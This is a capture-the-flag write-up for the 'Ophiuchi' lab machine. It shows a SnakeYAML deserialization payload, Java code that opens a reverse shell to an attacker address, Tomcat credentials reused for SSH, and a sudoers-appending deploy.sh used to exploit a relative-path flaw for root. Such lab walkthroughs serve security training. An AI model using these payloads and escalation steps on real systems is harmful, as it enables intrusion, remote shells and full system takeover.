
Ophiuchi

Scan
As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:
TCP scan
TCP scan shows that their is only 2 ports listening.
> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_portsUDP Scan
The UDP scan shows no port open.
> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_portsUser flag
The Web application displays a page where it is possible to send YAML code to an online parser.

When data is submitted, the site displays an information message :
By sending a payload containing a special character like ", it is possible to get a stack trace with the function involved.

It looked like the application is using snameyaml to deserilize YAML objects. This library is prone to a vulnaribility when code is directly loaded from the user. More information can be found on this blog post https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858.
The following payload was sent in order to verify that the flaw exists :
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.39:8000"]
]]
]The listening Web server received a connection that validates the presence of the vulnerability.

Using this payload https://github.com/artsploit/yaml-payload with the following code :
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.util.Base64;
import java.util.concurrent.TimeUnit;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
String cmd = "bash -i >& /dev/tcp/10.10.14.39/4444 0>&1";
String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes());
cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}";
Runtime.getRuntime()
.exec(cmd)
.waitFor(30, TimeUnit.SECONDS);
} catch (Exception e) {
//e.printStackTrace();
}
}I was able to retrieve an access as the user tomcat to the machine.

The file /opt/tomcat/conf/tomcat-users.xml contains sensitive information such as the credentials of the user admin.
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
</tomcat-users>
tomcat@ophiuchi:~/conf$It is then possible to use the couple admin:whythereisalimit to log in as admin in SSH.

Flag
The user flag was retrieved on the machine.

Root
Checking the sudo -l command, it is possible to find that the user admin is abble to execute a go function.
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.goInformation about the file was gathered.
admin@ophiuchi:~$ ls -lah /opt/wasm-functions/index.go
-rw-rw-r-- 1 root root 522 Oct 14 2020 /opt/wasm-functions/index.go
admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}A couple of things caught up the eyes :
- The program is taking a relative path for the WebAssembly binary
main.wasm. Therefore an arbitrary bunary could be used. - The
infofunction is exported from themain.wasmWebAssembly binary and run. The expected result an integer that will be transfromed in a string. If the string is1, therefore the program will run the scriptdeploy.sh. - The script
deploy.shis taken from a relative path, and therefore could be any arbitrary script calleddeploy.sh.
I compiled on my machine a WebAssemby binary that will export an info function and will return 1 :
> curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
> source $HOME/.cargo/env
> rustup target add wasm32-unknown-unknown
> cargo install wasm-gc
> cargo new main --lib
> cd main/
> cat Cargo.toml
[package]
name = "main"
version = "0.1.0"
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
# new material
[lib]
crate-type = ["cdylib"]
> cat src/lib.rs
> cargo build --target wasm32-unknown-unknown --releaseThe main.wasm file was uploaded on the box.
The following deploy.sh script was created :
#!/bin/bash
echo 'admin ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoersThe following structure was used :
admin@ophiuchi:/tmp/exploit$ ls -lah ./
total 1.5M
drwxrwxr-x 2 admin admin 4.0K Jun 23 09:42 .
drwxrwxrwt 13 root root 4.0K Jun 23 09:41 ..
-rw-r--r-- 1 admin admin 66 Jun 23 09:42 deploy.sh
-rw-rw-r-- 1 admin admin 1.5M Jun 23 09:36 main.wasmThe following command was launched sudo /usr/bin/go run /opt/wasm-functions/index.go in order to execute the attack.
admin@ophiuchi:/tmp/exploit$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin@ophiuchi:/tmp/exploit$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
admin@ophiuchi:/tmp/exploit$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
(ALL) NOPASSWD: ALLThe attack worked and the user admin is now able to execute any command as root user with the command sudo.
admin@ophiuchi:~$ sudo bash
root@ophiuchi:/home/admin# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
ophiuchi
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:c7:28 brd ff:ff:ff:ff:ff:ff
inet 10.129.173.136/16 brd 10.129.255.255 scope global dynamic ens160
valid_lft 538sec preferred_lft 538sec
inet6 dead:beef::250:56ff:feb9:c728/64 scope global dynamic mngtmpaddr
valid_lft 86369sec preferred_lft 14369sec
inet6 fe80::250:56ff:feb9:c728/64 scope link
valid_lft forever preferred_lft foreverFlag
The root flag was retrieved on the machine.